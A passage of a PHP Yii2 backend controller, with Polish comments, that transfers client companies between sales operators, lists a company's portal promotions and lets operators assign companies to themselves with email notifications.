//                                $assignedPortals[] = $newOperatorAssignedPortal;
//                            }
//                        }
//                    }                
//                    $modelNewOperatorHasCompany->assigned_portals = $assignedPortals;
//
//                    $assignedEmails = !empty($modelOldOperatorHasCompany->assigned_emails) ? $modelOldOperatorHasCompany->assigned_emails->getValue() : [];
//                    if(!empty($modelNewOperatorHasCompany->assigned_emails)) { 
//                        foreach($modelNewOperatorHasCompany->assigned_emails->getValue() as $assignedEmail) {
//                            if(!in_array($assignedEmail, $assignedEmails)) {
//                                $assignedEmails[] = $assignedEmail;
//                            }
//                        } 
//                    }
//                    $modelNewOperatorHasCompany->assigned_emails = $assignedEmails;
//
//                }
//
//                if(!$modelNewOperatorHasCompany->validate(['assigned_portals', 'assigned_emails']) || !$modelNewOperatorHasCompany->save(false)) {
//                    $flag = false;
//                }
//                if($flag && $modelOldOperatorHasCompany->delete() === false) {
//                    $flag = false;
//                }
//            } else {
//                $modelOldOperatorHasCompany->setScenario('update');
//                $modelOldOperatorHasCompany->id_user = $idOperator;
//                if(!$modelOldOperatorHasCompany->validate()) {
//                    $transaction->rollBack();
//                    echo 'FAIL';
//                    exit;
//                }
//
//                if(!$modelOldOperatorHasCompany->validate(['assigned_portals', 'assigned_emails']) || !$modelOldOperatorHasCompany->save(false)) {
//                    $flag = false;
//                }
//            }
//
//            $operatorsLogins = $this->getOperatorsLogins();
//
//            $flag = $flag && $this->transferCompaniesCasesWithEntries($modelCompany->id_company, $idOperator, $operatorsLogins, $idSourceOperator);
//
//            //przepisać zamówienia nowe oraz ich elementy
//            $flag = $flag && $this->transferCompaniesOrders($modelCompany->id_company, $idOperator, $idSourceOperator);
//
//            //przepisać zamówienia archiwalne
//            $flag = $flag && $this->transferCompanyOrdersArchive($modelCompany->id_company, $idOperator, $idSourceOperator);
//
//            //przepisać rezerwacje mailingów
//            $flag = $flag && $this->transferMailingsReservations($modelCompany->id_company, $idOperator, $idSourceOperator);
//
//            if($flag) {
////                $transaction->rollBack();
//                $transaction->commit();
//                echo 'OK - poprawnie zapisano dane';
//            } else {
//                $transaction->rollBack();
//                echo 'FAIL - blad podczas zapisu';   
//            }
//        }
//        
//        echo 'OK';
//        exit;
//    }
    
    public function actionTransferUnassignedCompany($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->request->getIsPost() || !($idOperator = Yii::$app->request->post('id_operator'))) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if(!Yii::$app->user->can('modifyCompaniesData')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idOperator = intval($idOperator);
        
        $orOperatorExists = $this->checkIfTargetOperatorExists($idOperator);
        if(!$orOperatorExists) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        //sprawdzamy czy firma faktycznie nie jest przypisana do żadnego innego operatora niż wybrany
        $orExistsOthersCompanyRelations = \common\models\OperatorsHasCompanies::find()
                ->where(['id_company' => $modelCompany->id_company])
                ->andWhere(['not', ['id_user' => $idOperator]])
                ->exists();
        if($orExistsOthersCompanyRelations) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelNewOperatorHasCompany = \common\models\OperatorsHasCompanies::find()
                ->where([
                    'id_user' => $idOperator,
                    'id_company' => $modelCompany->id_company
                ])
                ->one();
        if(!$modelNewOperatorHasCompany) {
            $modelNewOperatorHasCompany = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
            $modelNewOperatorHasCompany->id_company = $modelCompany->id_company;
            $modelNewOperatorHasCompany->id_user = $idOperator;
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $operatorsLogins = $this->getOperatorsLogins();
        
        $flag = $modelNewOperatorHasCompany->save();            
        
        $flag = $flag && $this->transferCompaniesCasesWithEntries($modelCompany->id_company, $idOperator, $operatorsLogins);
        
        //przepisać zamówienia nowe oraz ich elementy
        $flag = $flag && $this->transferCompaniesOrders($modelCompany->id_company, $idOperator);

        //przepisać rezerwacje mailingów
        $flag = $flag && $this->transferMailingsReservations($modelCompany->id_company, $idOperator);
        
        //przepisać zamówienia archiwalne
        $flag = $flag && $this->transferCompanyOrdersArchive($modelCompany->id_company, $idOperator);
                
        if($flag) {
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));   
            
            //@todo dopisać generowanie powiadomień odnośnie przeniesienia firmy
            
            return $this->redirect(['operators', 'id' => $modelCompany->id_company]);
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
            return $this->redirect(['operators', 'id' => $modelCompany->id_company]);            
        }
        
    }
    
    public function actionTransferAssignment($id)
    {
        if(!Yii::$app->user->can('modifyCompaniesData')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelSourceCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->request->getIsPost() || !($idSourceOperator = Yii::$app->request->post('id_source_operator')) || !($idTargetCompany = Yii::$app->request->post('target_id_company'))) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idTargetCompany = intval($idTargetCompany);
        
        $modelTargetCompany = $this->findModelCompany($idTargetCompany);        
        if(empty($modelTargetCompany)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idSourceOperator = intval($idSourceOperator);            
        $modelSourceOperator = Users::find()
            ->where([
                'profile' => [UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR],
                'id_user' => $idSourceOperator
            ])
            ->one();
        
        if(!$modelSourceOperator) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } 
        
        $modelOldOperatorHasCompany = \common\models\OperatorsHasCompanies::find()
                ->where([
                    'id_user' => $idSourceOperator,
                    'id_company' => $modelSourceCompany->id_company
                ])
                ->one();
        
        $idsAddedPortals = [];        
        
        $modelNewOperatorHasCompany = \common\models\OperatorsHasCompanies::find()
                ->where([
                    'id_user' => $idSourceOperator,
                    'id_company' => $modelTargetCompany->id_company
                ])
                ->one();
        if(empty($modelNewOperatorHasCompany)) {        
            $modelNewOperatorHasCompany = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
            $modelNewOperatorHasCompany->assigned_portals = $modelOldOperatorHasCompany->assigned_portals;
            $modelNewOperatorHasCompany->assigned_emails = $modelOldOperatorHasCompany->assigned_emails;
            $modelNewOperatorHasCompany->id_user = $modelSourceOperator->id_user;
            $modelNewOperatorHasCompany->id_company = $modelTargetCompany->id_company;
            
            foreach($modelOldOperatorHasCompany->assigned_portals as $portalData) {
                $idsAddedPortals[intval($portalData['id_portal'])] = intval($portalData['id_portal']);
            }
        } else {
            $assignedPortals = $modelNewOperatorHasCompany->assigned_portals;
            foreach($modelOldOperatorHasCompany->assigned_portals as $portalData) {
                $orExists = false;
                foreach($assignedPortals as $existsPortalData) {
                    if(intval($existsPortalData['id_portal']) === intval($portalData['id_portal'])) {
                        $orExists = true;
                    }
                }
                if(!$orExists) {
                    $assignedPortals[] = $portalData;
                    $idsAddedPortals[intval($portalData['id_portal'])] = intval($portalData['id_portal']);
                }
            }
            $modelNewOperatorHasCompany->assigned_portals = $assignedPortals;
            
            $assignedEmails = $modelNewOperatorHasCompany->assigned_emails->getValue();
            foreach($modelOldOperatorHasCompany->assigned_emails as $assignedEmail) {
                if(!in_array($assignedEmail, $assignedEmails)) {
                    $assignedEmails[] = $assignedEmail;
                }
            }
            $modelNewOperatorHasCompany->assigned_emails = $assignedEmails;
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = $modelNewOperatorHasCompany->save();
        
        if($flag) {
            $modelCase = new \common\models\CompaniesCases(['scenario' => 'create']);
            $modelCase->id_company = $modelTargetCompany->id_company;
            $modelCase->id_user = Yii::$app->user->id;
            $modelCase->subject = 'Informacja systemowa: Administrator przeniósł przypisanie operatora '.$modelSourceOperator->forename.' '.$modelSourceOperator->surname.' z firmy "'.\yii\helpers\Html::encode($modelSourceCompany->name).'", dnia '.date('d-m-Y, H:i');
            $modelCase->status = \common\models\types\CompanyCaseStatus::CLOSED;
            $flag = $modelCase->save();
        }

        if($flag) {
            $portalsList = ArrayHelper::map(Portals::find()->select(['id_portal', 'domain'])->where(['status' => Status::ACTIVE])->asArray()->all(), 'id_portal', 'domain');
            
            $modelEntry = new \common\models\CompaniesCasesEntries(['scenario' => 'create']);
            $modelEntry->id_case = $modelCase->id_case;
            $modelEntry->id_user = Yii::$app->user->id;
            $modelEntry->content = 'Informacja systemowa: Administrator przeniósł przypisanie operatora '.$modelSourceOperator->forename.' '.$modelSourceOperator->surname.' z firmy "'.\yii\helpers\Html::encode($modelSourceCompany->name).'", dnia '.date('d-m-Y, H:i').".\r\n".'Portal: '.implode(', ', array_map(function($idPortal) use ($portalsList) { return $portalsList[$idPortal]; }, $idsAddedPortals));
            $modelEntry->contact_term = date('Y-m-d H:i');
            $modelEntry->priority = \common\models\types\CompanyCasePriority::NORMAL;
            $modelEntry->or_handled = 1;
            $flag = $modelEntry->save();
        }
        
        if($flag) {
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
            return $this->redirect(['companiessettings/operators', 'id' => $modelTargetCompany->id_company]);
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
            return $this->redirect(['companiessettings/operators', 'id' => $modelSourceCompany->id_company]);            
        }
        
    }
    
    public function actionCompaniesList()
    {        
        if(!Yii::$app->user->can('modifyCompaniesData')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $searchModel = new \backend\models\CompaniesSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
        
    protected function getOperatorsLogins()
    {
        return \yii\helpers\ArrayHelper::map(
                Users::find()
                    ->select(['login', 'id_user'])
                    ->where(['profile' => [UserProfile::MARKETER, UserProfile::OPERATOR, UserProfile::EDITOR, UserProfile::MODERATOR, UserProfile::ADMIN]])
                    ->asArray()
                    ->all(), 
                'id_user', 
                'login'
        );
    }
    
    protected function checkIfTargetOperatorExists($idOperator)
    {
        return Users::find()
                ->select(['id_user'])
                ->where([
                    'status' => Status::ACTIVE, 
                    'profile' => [UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR],
                    'id_user' => $idOperator
                ])
                ->exists();
    }
    
    protected function transferCompaniesCasesWithEntries($idCompany, $idOperator, $operatorsLogins, $idOldOperator = null)
    {
        $modelsCases = \common\models\CompaniesCases::find()->with('entries')->where(['id_company' => $idCompany])->all();
        
        if(empty($modelsCases)) {
            return true;
        }
        
        foreach($modelsCases as $modelCase) {
            $condition = !empty($idOldOperator) ? $modelCase->id_user === $idOldOperator : $modelCase->id_user !== $idOperator;            
            if($condition) {
                $loginOldOperator = $operatorsLogins[$modelCase->id_user];                        
                $modelCase->id_user = $idOperator;
                $modelCase->subject = $loginOldOperator.' utworzył sprawę: '.$modelCase->subject;
                if(!$modelCase->validate(['id_user', 'subject']) || !$modelCase->save(false)) {
                    return false;
                }
            }

            if(!empty($modelCase->entries)) {
                foreach($modelCase->entries as $modelCaseEntry) {
                    $condition = !empty($idOldOperator) ? $modelCaseEntry->id_user !== $idOldOperator : $modelCaseEntry->id_user === $idOperator;                    
                    if($condition) {
                        continue;
                    }                    
                    $loginOldOperator = $operatorsLogins[$modelCaseEntry->id_user]; 
                    $modelCaseEntry->id_user = $idOperator;
                    $modelCaseEntry->content = '<b>Napisał(a) '.$loginOldOperator.'</b>:<br><br>'.$modelCaseEntry->content;
                    if(!$modelCaseEntry->validate(['id_user', 'content']) || !$modelCaseEntry->save(false)) {
                        return false;
                    }
                }
            }
        }
        
        return true;
    }
    
    protected function transferCompaniesOrders($idCompany, $idOperator, $idOldOperator = null)
    {          
        if(!empty($idOldOperator)) {
            $modelsOrders = \common\models\CompaniesOrders::find()
                ->with([
                    'items' => function($q) use($idOldOperator) {
                        $q->where(['id_user' => $idOldOperator]);
                    }
                ])
                ->where([
                    'id_company' => $idCompany,
                    'id_user' => $idOldOperator
                ])->all();
        } else {
            $modelsOrders = \common\models\CompaniesOrders::find()
                    ->with([
                        'items' => function($q) use($idOperator) {
                            $q->where(['not', ['id_user' => $idOperator]]);
                        }
                    ])
                    ->where(['id_company' => $idCompany])
                    ->andWhere(['not', ['id_user' => $idOperator]])        
                    ->all();
        }        

        if(!empty($modelsOrders)) {
            foreach($modelsOrders as $modelOrder) {
                if(!empty($modelOrder->items)) {
                    foreach($modelOrder->items as $modelOrderItem) {
                        $modelOrderItem->id_user = $idOperator;
                        if(!$modelOrderItem->save(false)) {
                            return false;
                        }
                    }
                }
                $modelOrder->id_user = $idOperator;
                if(!$modelOrder->save(false)) {
                    return false;
                }
            }          
        } 
        
        return true;  
    }
    
    protected function transferCompanyOrdersArchive($idCompany, $idOperator, $idOldOperator = null)
    {        
        if(!empty($idOldOperator)) {
            $modelsOrderArchive = \common\models\CompaniesOrdersArchive::find()
                    ->where([
                        'id_company' => $idCompany,
                        'id_operator' => $idOldOperator
                    ])->all();
        } else {
            $modelsOrderArchive = \common\models\CompaniesOrdersArchive::find()
                    ->where(['id_company' => $idCompany])
                    ->andWhere(['not', 'id_user', $idOperator])   
                    ->all();
        }
        
        if(!empty($modelsOrderArchive)) {
            foreach($modelsOrderArchive as $modelOrderArchive) {
                $modelOrderArchive->id_operator = $idOperator;
                if(!$modelOrderArchive->save(false)) {
                    return false;
                }
            }
        } 
        
        return true;  
    }
    
    protected function transferMailingsReservations($idCompany, $idOperator, $idOldOperator = null)
    {
        if(!empty($idOldOperator)) {
            $modelsMailingsReservations = \common\models\MailingsReservations::find()
                    ->where([
                        'id_company' => $idCompany,
                        'id_user' => $idOldOperator
                    ])->all();
        } else {
            $modelsMailingsReservations = \common\models\MailingsReservations::find()
                    ->where(['id_company' => $idCompany])
                    ->andWhere(['not', ['id_user' => $idOperator]])   
                    ->all();
        }        
        
        if(!empty($modelsMailingsReservations)) {
            foreach($modelsMailingsReservations as $modelMailingReservation) {
                $modelMailingReservation->id_user = $idOperator;
                if(!$modelMailingReservation->validate(['id_user']) || !$modelMailingReservation->save(false)) {
                    return false;
                }
            }
        }
        
        return true;  
    }
    
    public function actionAllPromotions($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->user->can('viewCompaniesPromotions', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $portalsList = \yii\helpers\ArrayHelper::map(\common\models\Portals::find()->select(['id_portal', 'domain'])->asArray()->all(), 'id_portal', 'domain');
        
        //top produkty
        $topProducts = [];
        $models = \common\models\PortalsHasProductsPromoted::find()
                ->join('INNER JOIN', 'products', 'products.id_product = portals_has_products_promoted.id_product')
                ->with('product')
                ->where([
                    'portals_has_products_promoted.promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT,
                    'products.id_company' => $modelCompany->id_company
                ])                
                ->orderBy('portals_has_products_promoted.id_portal ASC, portals_has_products_promoted.product_order ASC')
                ->all();
        if(!empty($models)) {
            foreach($models as $model) {
                $topProducts[$model->id_portal][] = $model;
            }
            unset($models);
        }
        
        //top firma
        $topPresentations = [];
        $models = \common\models\CompaniesPresentationsPromoted::find()
                ->joinWith('presentation')
                ->where([
                    'companies_presentations.id_company' => $modelCompany->id_company, 
                    'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY
                ])->orderBy('companies_presentations.id_portal ASC, companies_presentations_promoted.presentation_order ASC')
                ->all();
        if(!empty($models)) {
            foreach($models as $model) {
                $topPresentations[$model->presentation->id_portal][] = $model;
            }
            unset($models);
        }
        
        //top pozycja w wyszukiwarce produktów
        $topSearchProducts = [];
        $models = \common\models\PortalsHasProductsPromoted::find()
                ->joinWith('product')
                ->where([
                    'products.id_company' => $modelCompany->id_company,
                    'portals_has_products_promoted.promotion_type' => \common\models\types\ProductPromotionType::TOP_POSITION_IN_SEARCH
                ])                
                ->orderBy('portals_has_products_promoted.id_portal ASC, portals_has_products_promoted.promoted_start_date ASC')
                ->all();
        if(!empty($models)) {
            foreach($models as $model) {
                $topSearchProducts[$model->id_portal][] = $model;
            }
            unset($models);
        }
        
        //top pozycja w wyszukiwarce firm
        $topSearchPresentations = [];
        $models = \common\models\CompaniesPresentationsPromoted::find()
                ->joinWith('presentation')
                ->where([
                    'companies_presentations.id_company' => $modelCompany->id_company, 
                    'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_POSITION_IN_SEARCH
                ])->orderBy('companies_presentations.id_portal ASC, companies_presentations_promoted.promoted_start_date ASC')
                ->all();
        if(!empty($models)) {
            foreach($models as $model) {
                $topSearchPresentations[$model->presentation->id_portal][] = $model;
            }
            unset($models);
        }
        
        //pozycjonowanie w katalogu produktów
        $promotedProductsInCategoriesTrees = [];
        $models = \common\models\PortalsHasProductsPromoted::find()
                ->joinWith('product')
                ->where([
                    'products.id_company' => $modelCompany->id_company,
                    'portals_has_products_promoted.promotion_type' => \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY
                ])                
                ->orderBy('portals_has_products_promoted.id_portal ASC, portals_has_products_promoted.product_order ASC')
                ->all();
        if(!empty($models)) {
            foreach($models as $model) {
                $promotedProductsInCategoriesTrees[$model->id_portal][] = $model;
            }
            unset($models);
        }
        
        //pozycjonowanie w katalogu firm
        $promotedPresentationsInCategoriesTrees = [];
        $models = \common\models\CompaniesPresentationsPromoted::find()
                ->joinWith('presentation')
                ->where([
                    'companies_presentations.id_company' => $modelCompany->id_company, 
                    'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY
                ])->orderBy('companies_presentations.id_portal ASC, companies_presentations_promoted.presentation_order ASC')
                ->all();
        if(!empty($models)) {
            foreach($models as $model) {
                $promotedPresentationsInCategoriesTrees[$model->presentation->id_portal][] = $model;
            }
            unset($models);
        }
        
        //polecane publikacje
        $recommendedBooks = [];
        $models = \common\models\BooksPromoted::find()
                ->joinWith('book')
                ->where([
                    'books.id_company' => $modelCompany->id_company,
                    'books_promoted.promotion_type' => \common\models\types\BookPromotionType::RECOMMENDED
                ])->orderBy('books_promoted.id_portal ASC, books_promoted.book_order ASC')
                ->all();
        if(!empty($models)) {
            foreach($models as $model) {
                $recommendedBooks[$model->id_portal][] = $model;
            }
            unset($models);
        }
        
        $outputParams = [
            'modelCompany' => $modelCompany,
            'portalsList' => $portalsList,
            'topProducts' => $topProducts,
            'topPresentations' => $topPresentations,
            'topSearchPresentations' => $topSearchPresentations,
            'topSearchProducts' => $topSearchProducts,
            'promotedPresentationsInCategoriesTrees' => $promotedPresentationsInCategoriesTrees,
            'promotedProductsInCategoriesTrees' => $promotedProductsInCategoriesTrees,
            'recommendedBooks' => $recommendedBooks
        ];
        
        return $this->render('all_promotions', $outputParams);
    }
    
    public function actionAssignCompanyYourself($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->user->can('assignCompanyYourself')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsRelationsWithOperators = $modelCompany->getRelationsWithOperators()->with(['operator'])->all();
        
        if(!empty($modelsRelationsWithOperators)) {
            foreach($modelsRelationsWithOperators as $modelRelationWithOperator) {
                //sprawdzamy, czy zalogowany operator jest przypisany do wybranej firmy - jeśli tak, to wyświetlamy ostrzeżenie
                if($modelRelationWithOperator->id_user === Yii::$app->user->id) {
                    Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));   
                    return $this->redirect(['companies/similar']);
                }
            }
        }
        
        $orForce = intval(Yii::$app->request->get('force', 0));
        
        $orHaveAnyOperators = false;
        if(!empty($modelsRelationsWithOperators)) {
            foreach($modelsRelationsWithOperators as $modelRelationWithOperator) {
                $orHaveAnyOperators = true;
            }
        }
        
        $portalsList = ArrayHelper::map(Portals::find()->select(['id_portal', 'domain'])->asArray()->all(), 'id_portal', 'domain');
        $activePortalsList = ArrayHelper::map(Portals::find()->select(['id_portal', 'domain'])->where(['status' => Status::ACTIVE])->asArray()->all(), 'id_portal', 'domain');
        
        $collisionOperatorsEmails = [];
        
        $orCreateRelation = false; 
        
        //sprawdzamy czy firma ma jakiś przypisanych operatorów            
        if(empty($modelsRelationsWithOperators)) {
            //jeśli nie, to tworzymy powiązanie zalogowanego operatora z daną firmą dla wszystkich portali
            $annotations = 'Operator przypisał się do niewykorzystanej firmy na wszystkich portalach.';
            $subjectForLukasz = Yii::t('common-mails', 'Przypisano operatora {operatorName} do firmy {companyName} (ID:{idCompany})', ['operatorName' => Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname, 'companyName' => $modelCompany->name, 'idCompany' => $modelCompany->id_company]);
            $subjectForOperator = Yii::t('common-mails', 'Firma {companyName} (ID:{idCompany}) została Tobie przypisana', ['companyName' => $modelCompany->name, 'idCompany' => $modelCompany->id_company]);
            $idsPortalsForAssign = array_keys($activePortalsList);            
            $orCreateRelation = true;
        } else {
            //jeśli tak, to sprawdzamy, czy wśród tych operatorów jest jakiś nieaktywny
            $orHaveAnyInactiveOperators = false;
            foreach($modelsRelationsWithOperators as $modelRelationWithOperator) {
                if($modelRelationWithOperator->operator->status !== Status::ACTIVE) {
                    $orHaveAnyInactiveOperators = true;
                    break;
                }
            }
                     
            $leaderIdPortal = Yii::$app->user->identity->getPortals()->where(['status' => Status::ACTIVE])->select(['id_portal'])->limit(1)->scalar();
            if(!empty($leaderIdPortal)) {
                $idsPortalsForAssign = [$leaderIdPortal];
            } else {
                $patronIdPortal = Yii::$app->user->identity->getRelationsWithServicedPortals()->select(['id_portal'])->limit(1)->scalar();
                if(!empty($patronIdPortal)) {
                    $idsPortalsForAssign = [$patronIdPortal];
                } else {
                    reset($activePortalsList);
                    $idsPortalsForAssign = [key($activePortalsList)];
                }
            }
            
            if($orHaveAnyInactiveOperators) {
                //jeśli tak, to wysyłamy jedynie maile
                $annotations = 'Prośba o przypisanie do firmy, która posiada przypisanego operatora nieaktywnego.';
                $subjectForLukasz = Yii::t('common-mails', 'Prośba o przypisanie firmy {companyName} (ID:{idCompany}) do operatora {operatorName}', ['operatorName' => Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname, 'companyName' => $modelCompany->name, 'idCompany' => $modelCompany->id_company]);
                $subjectForOperator = Yii::t('common-mails', 'Wysłano zgłoszenie do administratora z prośbą o przypisanie firmy {companyName} (ID:{idCompany})', ['companyName' => $modelCompany->name, 'idCompany' => $modelCompany->id_company]);
                
            } else {
                //jeśli nie, to tworzymy powiązanie zalogowanego operatora z daną firmą dla portali, których jest opiekunem
                $annotations = 'Operator przypisał się do firmy posiadającej przypisanych aktywnych operatorów, na portalach, którymi zarzadza.';
                $subjectForLukasz = Yii::t('common-mails', 'Przypisano operatora {operatorName} do firmy {companyName} (ID:{idCompany})', ['operatorName' => Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname, 'companyName' => $modelCompany->name, 'idCompany' => $modelCompany->id_company]);
                $subjectForOperator = Yii::t('common-mails', 'Firma {companyName} (ID:{idCompany}) została Tobie przypisana', ['companyName' => $modelCompany->name, 'idCompany' => $modelCompany->id_company]);
                $subjectForCollisionOperators = Yii::t('common-mails', 'Firma {companyName} (ID:{idCompany}) została przypisana operatorowi {operatorName}', ['operatorName' => Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname, 'companyName' => $modelCompany->name, 'idCompany' => $modelCompany->id_company]);
                $orCreateRelation = true;
                
                //do listy emaili dodajemy emaile operatorów, którzy są przypisani do tej firmy
                $idsCollisionOperators = [];
                $collisionOperatorsWithPortals = [];
                foreach($modelsRelationsWithOperators as $modelRelationWithOperator) {
                    //pomijamy przypisanie do operatora vm_firmy - to sztuczne konto zbiorcze dla nowo rejestrowanych firm
                    if ($modelRelationWithOperator->operator->login === 'vm_firmy') {
                        continue;
                    }
                    
                    $orHaveAnyOperators = true;
                    $idsCollisionOperators[] = $modelRelationWithOperator->id_user; 
                    
                    if(!$orForce && !empty($modelRelationWithOperator->assigned_portals)) {
                        foreach($modelRelationWithOperator->assigned_portals as $assignToPortalData) {
                            foreach($idsPortalsForAssign as $idPortalForAssign) {
                                if(intval($idPortalForAssign) === intval($assignToPortalData['id_portal'])) {
                                    $collisionOperatorsWithPortals[$modelRelationWithOperator->id_user]['modelUser'] = $modelRelationWithOperator->operator;
                                    $collisionOperatorsWithPortals[$modelRelationWithOperator->id_user]['portalsDomains'][$portalsList[intval($idPortalForAssign)]] = $portalsList[intval($idPortalForAssign)];
                                }
                            }
                        }
                    }                    
                }
                
                if(!$orForce && !empty($collisionOperatorsWithPortals)) {
                    return $this->render('assign_company_yourself', [
                        'modelCompany' => $modelCompany, 
                        'collisionOperatorsWithPortals' => $collisionOperatorsWithPortals,
                    ]);
                }
                
                if(!empty($idsCollisionOperators)) {
                    $collisionOperatorsEmails = \common\models\UsersContactData::find()
                        ->select(['users_contact_data.data_value'])
                        ->where([
                            'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                            'users_contact_data.required' => 1,
                            'users_contact_data.id_user' => $idsCollisionOperators
                        ])->column();
                }
            }
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        $flag = true;
        
        if($orCreateRelation) {
            $model = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
            $model->id_company = $modelCompany->id_company;
            $model->id_user = Yii::$app->user->id;            
            $actualDatetime = date("Y-m-d H:i:s");
            $newAssignedPortals = [];
            foreach($idsPortalsForAssign as $idPortalForAssign) {
                $newAssignedPortals[] = [
                    'id_portal' => $idPortalForAssign,
                    'created_at' => $actualDatetime
                ];
            }
            $model->assigned_portals = $newAssignedPortals;
            $flag = $model->save();            
        }
        
        //tworzymy wpis w historii kontaktu danej firmy - sprawa + wątek
        if($flag && $orCreateRelation) {            
            $modelCase = new \common\models\CompaniesCases(['scenario' => 'create']);
            $modelCase->id_company = $modelCompany->id_company;
            $modelCase->id_user = Yii::$app->user->id;
            $modelCase->subject = 'Informacja systemowa: '.Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname.' przypisała do siebie firmę dnia '.date('d-m-Y, H:i');
            $modelCase->status = \common\models\types\CompanyCaseStatus::CLOSED;
            $flag = $modelCase->save();
        }
        
        if($flag && $orCreateRelation) {
            $modelEntry = new \common\models\CompaniesCasesEntries(['scenario' => 'create']);
            $modelEntry->id_case = $modelCase->id_case;
            $modelEntry->id_user = Yii::$app->user->id;
            $modelEntry->content = Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname.' przypisał(a) do siebie firmę dnia '.date('d-m-Y, H:i').".\r\n".'Portal: '.implode(', ', array_map(function($idPortal) use ($portalsList) { return $portalsList[$idPortal]; }, $idsPortalsForAssign));
            $modelEntry->contact_term = date('Y-m-d H:i');
            $modelEntry->priority = \common\models\types\CompanyCasePriority::NORMAL;
            $modelEntry->or_handled = 1;
            $flag = $modelEntry->save();
        }
            
        if($flag) {            
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = 'layouts/main-html';      
            $mailer->textLayout = 'layouts/main-text'; 
            $viewFiles = [
                'html' => 'operator_request_for_assign_to_company_html',
                'text' => 'operator_request_for_assign_to_company_text'
            ];
            $viewParams = [
                'modelLoggedOperator' => Yii::$app->user->identity,
                'modelsRelationsWithOperators' => $modelsRelationsWithOperators, 
                'portalsList' => $portalsList, 
                'annotations' => $annotations,
                'modelCompany' => $modelCompany,
                'idsPortalsForAssign' => $idsPortalsForAssign,
                'orAddButton' => false,
            ];
            
            $operatorEmail = \common\models\UsersContactData::find()
                ->select(['users_contact_data.data_value'])
                ->where([
                    'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                    'users_contact_data.required' => 1,
                    'users_contact_data.id_user' => Yii::$app->user->id
                ])->scalar();
//            $lukaszEmail = \common\models\Users::find()
//                ->select(['users_contact_data.data_value'])
//                ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
//                ->where([
//                    'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
//                    'users_contact_data.required' => 1,
//                    'users.login' => 'vm_lukasz'
//                ])
//                ->scalar();
            
            $systemEmails = !empty(Yii::$app->params['emailAddresses']['forRequestToAssignCompany']) ? Yii::$app->params['emailAddresses']['forRequestToAssignCompany'] : null;
            
            //wysyłamy email z prośbą o przypisanie firmy do Łukasza (###MAIL_XXX###) 
            $flag = $mailer->compose($viewFiles, $orCreateRelation ? $viewParams : array_merge($viewParams, ['orAddButton' => true]))
                            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
//                            ->setTo($lukaszEmail)
                            ->setTo($systemEmails)
                            ->setReplyTo([$operatorEmail => Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname])
                            ->setSubject($subjectForLukasz)
                            ->send();
            
            //wysyłamy email z prośbą o przypisanie firmy do operatora zgłaszającego (###MAIL_XXX###) 
            $flag = $flag && $mailer->compose($viewFiles, $viewParams)
                            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                            ->setTo($operatorEmail)
                            ->setSubject($subjectForOperator)
                            ->send();
            
            //wysyłamy do pozostałych operatorów przypisanych do firmy informację, że inny operator się do niej dopisał (###MAIL_XXX###) 
            if($flag && !empty($collisionOperatorsEmails)) {
                $flag = $mailer->compose($viewFiles, $viewParams)
